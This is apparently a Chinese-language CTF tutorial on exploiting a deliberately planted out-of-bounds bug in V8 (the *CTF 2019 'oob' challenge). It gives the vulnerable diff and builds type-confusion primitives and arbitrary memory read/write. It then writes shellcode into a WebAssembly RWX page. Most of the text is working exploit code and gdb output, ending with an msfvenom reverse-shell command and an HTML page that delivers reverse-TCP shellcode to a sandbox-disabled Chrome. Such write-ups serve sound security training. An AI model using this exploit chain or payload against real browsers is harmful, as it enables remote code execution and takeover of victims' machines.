出题形式
一般浏览器的出题有两种,
一种是diff修改v8引擎源代码,人为制造出一个漏洞,
另一种是直接采用某个cve漏洞。
一般在大型比赛中会直接采用第二种方式,更考验选手的实战能力
出题者通常会提供一个diff文件,或直接给出一个编译过diff补丁后的浏览器程序。如果只给了一个diff文件,就需要我们自己去下载相关的commit源码,然后本地打上diff补丁,编译出浏览器程序,再进行本地调试
git apply < oob.diff
应用补丁,然后再编译即可
思路
1 分析漏洞
2 实现任意地址读写
3 利用wasm执行shellcode
分析diff
star ctf oob题目举例
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc index b027d36..ef1002f 100644 --- a/src/bootstrapper.cc +++ b/src/bootstrapper.cc @@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeCopyWithin, 2, false); SimpleInstallFunction(isolate_, proto, "fill", Builtins::kArrayPrototypeFill, 1, false); + SimpleInstallFunction(isolate_, proto, "oob", + Builtins::kArrayOob,2,false); SimpleInstallFunction(isolate_, proto, "find", Builtins::kArrayPrototypeFind, 1, false); SimpleInstallFunction(isolate_, proto, "findIndex", diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index 8df340e..9b828ab 100644 --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, return *final_length; } } // namespace +BUILTIN(ArrayOob){ + uint32_t len = args.length(); + if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + uint32_t length = static_cast<uint32_t>(array->length()->Number()); + if(len == 1){ + //read + return *(isolate->factory()->NewNumber(elements.get_scalar(length))); + }else{ + //write + Handle<Object> value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); + elements.set(length,value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } +} BUILTIN(ArrayPush) { HandleScope scope(isolate); diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 0447230..f113a81 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -368,6 +368,7 @@ namespace internal { TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) + CPP(ArrayOob) /* ArrayBuffer */ /* ES #sec-arraybuffer-constructor */ diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index ed1e4a5..c199e3a 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtins::kArrayUnshift: return t->cache_->kPositiveSafeInteger; + case Builtins::kArrayOob: + return Type::Receiver(); // ArrayBuffer functions. case Builtins::kArrayBufferIsView:
可以看到给array对象新加了一个oob函数
a.oob() 会直接越界8字节返回一个8字节数据
a.oob(xxx) 会把xxx写入到越界的那8字节去
利用8字节数组越界
使用如下代码时,越界8字节刚好是array对象的map字段
var a = [1,2,3,1.1]; // 最后需要是浮点数 %DebugPrint(a); %SystemBreak();
测试是否符合我们的想法
var a = [1,2,3,1.1]; %DebugPrint(a); %SystemBreak(); var data = a.oob(); console.log("[*] oob return data:" + data.toString()); %SystemBreak(); a.oob(2); %SystemBreak();
覆盖map属性的利用,类型混淆
可以覆盖map属性,可以造成类型混淆
实现addressOf和fakeObject
var buf =new ArrayBuffer(16); var float64 = new Float64Array(buf); var bigUint64 = new BigUint64Array(buf); // 浮点数转换为64位无符号整数 function f2i(f) { float64[0] = f; return bigUint64[0]; } // 64位无符号整数转为浮点数 function i2f(i) { bigUint64[0] = i; return float64[0]; } // 64位无符号整数转为16进制字节串 function hex(i) { return i.toString(16).padStart(16, "0"); } var obj = {"a": 1}; var obj_array = [obj]; var float_array = [1.1]; var obj_array_map = obj_array.oob(); var float_array_map = float_array.oob(); // 泄露指定对象的地址 // 把对象数组变成浮点数组 function addressOf(obj_to_leak){ obj_array[0] = obj_to_leak; // type(obj)-->type(float) obj_array.oob(float_array_map); let addr = f2i(obj_array[0])-1n; obj_array.oob(obj_array_map); return addr; } // 返回一个位于指定地址的对象 // 把浮点数组变成对象数组 function fakeObject(addr_to_fake){ float_array[0] = i2f(addr_to_fake+1n); // type(float)-->type(obj) float_array.oob(obj_array_map); let fake_obj = float_array[0]; float_array.oob(float_array_map); return fake_obj; }
实现任意地址读写
如果我们能够控制某块内存的内容,同时把这块内存伪造成一个虚假的对象——这里就是浮点数组对象,那么这个数组对象的element属性是可以控制的,通过控制该属性的值就可以做到任意地址读写了
// read & write anywhere // 这是一块我们可以控制的内存 var fake_array = [ float_array_map, i2f(0n), i2f(0x41414141n),// fake obj's elements ptr i2f(0x1000000000n), 1.1, 2.2, ]; // 获取到这块内存的地址 var fake_array_addr = addressOf(fake_array); // 将可控内存转换为对象 // 数据真正的起始点 var fake_object_addr = fake_array_addr - 0x40n + 0x10n; var fake_object = fakeObject(fake_object_addr); // 任意地址读 function read64(addr) { fake_array[2] = i2f(addr - 0x10n + 0x1n); let leak_data = f2i(fake_object[0]); return leak_data; } // 任意地址写 function write64(addr, data) { fake_array[2] = i2f(addr - 0x10n + 0x1n); fake_object[0] = i2f(data); }
通过上面的方式任意地址写,在写0x7fxxxx这样的高地址的时候会出现问题,地址的低位会被修改,导致出现访问异常。这里有另外一种方式来解决这个问题,DataView对象中的backing_store会指向申请的data_buf,修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。
var data_buf = new ArrayBuffer(8); var data_view = new DataView(data_buf); var buf_backing_store_addr = addressOf(data_buf) + 0x20n; function writeDataview(addr,data){ write64(buf_backing_store_addr, addr); data_view.setBigUint64(0, data, true); console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data)); }
getshell
常规pwn题思路
由于已经具有任意地址读写的能力了,那么泄露出来libc地址然后改__free_hook为system就可以了
不稳定泄漏内存的方式
任意的创建一个数组,输出数组的地址后,往前搜索内存,会发现在其前面0x8000处附近的内存中存放了程序的地址,由此可以算出来程序基址。接着任意地址读泄露libc,修改__free_hook便可getshell了。
# 数组的地址: 0x00001a72862119d8 # 查看程序段的内存空间 gdb-peda$ vmmap d8 Start End Perm Name 0x00005604d2bd9000 0x00005604d2e70000 r--p /home/em/Desktop/software/v8/out.gn/x64.release/d8 0x00005604d2e70000 0x00005604d3936000 r-xp /home/em/Desktop/software/v8/out.gn/x64.release/d8 0x00005604d3936000 0x00005604d3976000 r--p /home/em/Desktop/software/v8/out.gn/x64.release/d8 0x00005604d3976000 0x00005604d3980000 rw-p /home/em/Desktop/software/v8/out.gn/x64.release/d8 # 在指定范围内搜索包含程序地址的地址 gdb-peda$ find 0x5604d2 0x00001a7286201000 0x00001a7286211900 Searching for '0x5604d2' in range: 0x1a7286201000 - 0x1a7286211900 Found 16 results, display max 16 items: mapped : 0x1a7286201033 --> 0xf80b7100005604d2 mapped : 0x1a7286201043 --> 0xf81f4900005604d2 mapped : 0x1a7286201073 --> 0xf80b7100005604d2 mapped : 0x1a7286201083 --> 0xf81f4900005604d2 mapped : 0x1a72862010c3 --> 0xf80b7100005604d2 mapped : 0x1a72862010d3 --> 0xf8080100005604d2 mapped : 0x1a72862011d3 --> 0xf80b7100005604d2 mapped : 0x1a72862011e3 --> 0xf81f4900005604d2 mapped : 0x1a728620120b --> 0xf80b7100005604d2 mapped : 0x1a728620121b --> 0xf81f4900005604d2 mapped : 0x1a7286201243 --> 0xf80b7100005604d2 mapped : 0x1a7286201253 --> 0xf81f4900005604d2 mapped : 0x1a728620127b --> 0xf80b7100005604d2 mapped : 0x1a728620128b --> 0xf81f4900005604d2 mapped : 0x1a72862012b3 --> 0xf80b7100005604d2 mapped : 0x1a72862012c3 --> 0xf81f4900005604d2 gdb-peda$ x/10xg 0x1a7286201033-3 0x1a7286201030: 0x00005604d2e7a9c0 0x00003ea297f80b71 0x1a7286201040: 0x00005604d2e7a9c0 0x00003ea297f81f49 0x1a7286201050: 0x0000000a1f95f882 0x0000324a7a29c3d1 0x1a7286201060: 0x00003ea297f80321 0x00003ea297f80b71 0x1a7286201070: 0x00005604d2e7ad20 0x00003ea297f80b71 #搜索出来的地址确实属于程序段 gdb-peda$ vmmap 0x00005604d2e7a9c0 Start End Perm Name 0x00005604d2e70000 0x00005604d3936000 r-xp /home/em/Desktop/software/v8/out.gn/x64.release/d8 泄漏libc地址的脚本 // leak libc base var a = [1.1, 2.2, 3.3]; var start_addr = addressOf(a); var leak_d8_addr = 0n; start_addr = start_addr-0x8000n; while(1){ start_addr = start_addr-8n; leak_d8_addr = read64(start_addr); if(((leak_d8_addr&0x0000ff0000000fffn)==0x00005600000009c0n)||((leak_d8_addr&0x0000ff0000000fffn)==0x00005500000009c0n)){ console.log("leak process addr success: "+hex(leak_d8_addr)); break; } }
稳定泄漏的方式
v8在生成一个数组对象过程中,会对应着生成一个code对象,这个code对象中存储了和该数组对象相关的构造函数指令,而这些构造函数指令又会去调用d8二进制中的指令地址来完成对数组对象的构造。
浏览器直接运行shellcode wasm
wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。
https://wasdk.github.io/WasmFiddle/ 可以在线将c转换成wasm并生成js调用代码
利用思路
1 加载正常wasm
2 通过addressOf找到wasm地址
3 通过任意地址写修改wasm内容
4 调用wasm
寻找wasm存放代码的地址
通过Function—>shared_info—>WasmExportedFunctionData—>instance,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页起始地址
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n; var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n; var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n; var rwx_page_addr = read64(wasm_instance_addr + 0x88n); console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
shellcode 的生成和写入
var shellcode=[ 0x6e69622fbb48f631n, 0x5f54535668732f2fn, 0x050fd231583b6an ]; // 原始的shellcode是 // shellcode = “x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05”(23字节) var data_buf = new ArrayBuffer(24); var data_view = new DataView(data_buf); var buf_backing_store_addr = addressOf(data_buf) + 0x20n; write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址 for (var i = 0; i < shellcode.length; i++) data_view.setBigUint64(8*i, shellcode[i], true); f();//调用wasm,实际调用到了shellcode
完整的exp
star ctf 2019 oob
// ××××××××1. 无符号64位整数和64位浮点数的转换代码×××××××× var buf = new ArrayBuffer(16); var float64 = new Float64Array(buf); var bigUint64 = new BigUint64Array(buf); // 浮点数转换为64位无符号整数 function f2i(f) { float64[0] = f; return bigUint64[0]; } // 64位无符号整数转为浮点数 function i2f(i) { bigUint64[0] = i; return float64[0]; } // 64位无符号整数转为16进制字节串 function hex(i) { return i.toString(16).padStart(16, "0"); } // ××××××××2. addressOf和fakeObject的实现×××××××× var obj = {"a": 1}; var obj_array = [obj]; var float_array = [1.1]; var obj_array_map = obj_array.oob();//oob函数出来的就是map var float_array_map = float_array.oob(); // 泄露某个object的地址 function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak; obj_array.oob(float_array_map); let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址 obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用 return obj_addr; } function fakeObject(addr_to_fake) { float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式 float_array.oob(obj_array_map); let faked_obj = float_array[0]; float_array.oob(float_array_map); // 还原array类型以便后续继续使用 return faked_obj; } // ××××××××3.read & write anywhere×××××××× // 这是一块我们可以控制的内存 var fake_array = [ //伪造一个对象 float_array_map, i2f(0n), i2f(0x41414141n),// fake obj's elements ptr i2f(0x1000000000n), 1.1, 2.2, ]; // 获取到这块内存的地址 var fake_array_addr = addressOf(fake_array); // 将可控内存转换为对象 var fake_object_addr = fake_array_addr - 0x30n; var fake_object = fakeObject(fake_object_addr); // 任意地址读 function read64(addr) { fake_array[2] = i2f(addr - 0x10n + 0x1n); let leak_data = f2i(fake_object[0]); return leak_data; } // 任意地址写 function write64(addr, data) { fake_array[2] = i2f(addr - 0x10n + 0x1n); fake_object[0] = i2f(data); } var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; var f_addr = addressOf(f); console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr)); var shared_info_addr = read64(f_addr + 0x18n) - 0x1n; var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n; var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n; var rwx_page_addr = read64(wasm_instance_addr + 0x88n); console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr)); var shellcode=[ 0x6e69622fbb48f631n, 0x5f54535668732f2fn, 0x050fd231583b6an ]; var data_buf = new ArrayBuffer(24); var data_view = new DataView(data_buf); var buf_backing_store_addr = addressOf(data_buf) + 0x20n; write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址 for (var i = 0; i < shellcode.length; i++) data_view.setBigUint64(8*i, shellcode[i], true); f();
远程getshell
生成shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=you_ip_addr LPORT=21000 -f python -o ~/Desktop/tmp/shellcode.txt
将js包装成html
启动chrome时需要关闭沙箱 ./chrome –no-sandbox
<!DOCTYPE html> <html> <body> <h2>Hello world!</h2> <script> var buf =new ArrayBuffer(16); var float64 = new Float64Array(buf); var bigUint64 = new BigUint64Array(buf); // 浮点数转换为64位无符号整数 function f2i(f) { float64[0] = f; return bigUint64[0]; } // 64位无符号整数转为浮点数 function i2f(i) { bigUint64[0] = i; return float64[0]; } // 64位无符号整数转为16进制字节串 function hex(i) { return i.toString(16).padStart(16, "0"); } var obj = {"a": 1}; var obj_array = [obj]; var float_array = [1.1]; var obj_array_map = obj_array.oob(); var float_array_map = float_array.oob(); // %DebugPrint(float_array_map); // %SystemBreak(); function addressOf(obj_to_leak){ obj_array[0] = obj_to_leak; // type(obj)-->type(float) obj_array.oob(float_array_map); let addr = f2i(obj_array[0])-1n; obj_array.oob(obj_array_map); return addr; } function fakeObject(addr_to_fake){ float_array[0] = i2f(addr_to_fake+1n); // type(float)-->type(obj) float_array.oob(obj_array_map); let fake_obj = float_array[0]; float_array.oob(float_array_map); return fake_obj; } // read & write anywhere var fake_array = [ float_array_map, i2f(0n), i2f(0x41414141n), i2f(0x1000000000n), 1.1, 2.2, ]; var fake_array_addr = addressOf(fake_array); var fake_object_addr = fake_array_addr - 0x40n + 0x10n; var fake_object = fakeObject(fake_object_addr); function read64(addr) { fake_array[2] = i2f(addr - 0x10n + 0x1n); let leak_data = f2i(fake_object[0]); // console.log("fake obj: 0x"+hex(f2i(fake_object[0]))); // console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data)); return leak_data; } function write64(addr, data) { fake_array[2] = i2f(addr - 0x10n + 0x1n); // console.log("[*] fakeobj addr: 0x"+hex(addressOf(fake_object))); fake_object[0] = i2f(data); console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data)); } var data_buf = new ArrayBuffer(8); var data_view = new DataView(data_buf); var buf_backing_store_addr = addressOf(data_buf) + 0x20n; function writeDataview(addr,data){ write64(buf_backing_store_addr, addr); data_view.setBigUint64(0, data, true); // %SystemBreak(); console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data)); } var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; var f_addr = addressOf(f); console.log("f addr: 0x"+hex(f_addr)); var shared_info_addr = read64(f_addr+0x18n)-0x1n; var wasm_exported_function = read64(shared_info_addr+8n)-1n; var instance_addr = read64(wasm_exported_function+0x10n)-1n; var rwx_page_addr = read64(instance_addr+0x88n); console.log("rwx page addr: 0x"+hex(rwx_page_addr)); shellcode = [ 0x6a5f026a9958296an, 0xb9489748050f5e01n, 0xbc9ae16808520002n, 0x6a5a106ae6894851n, 0x485e036a050f582an, 0x75050f58216aceffn, 0x2fbb4899583b6af6n, 0x530068732f6e6962n, 0xe689485752e78948n, 0x50fn ]; var data_buf = new ArrayBuffer(80); var data_view = new DataView(data_buf); var buf_backing_store_addr = addressOf(data_buf) + 0x20n; write64(buf_backing_store_addr, rwx_page_addr); for (var i = 0; i < shellcode.length; i++) data_view.setBigUint64(8*i, shellcode[i], true); f(); </script> </body> </html>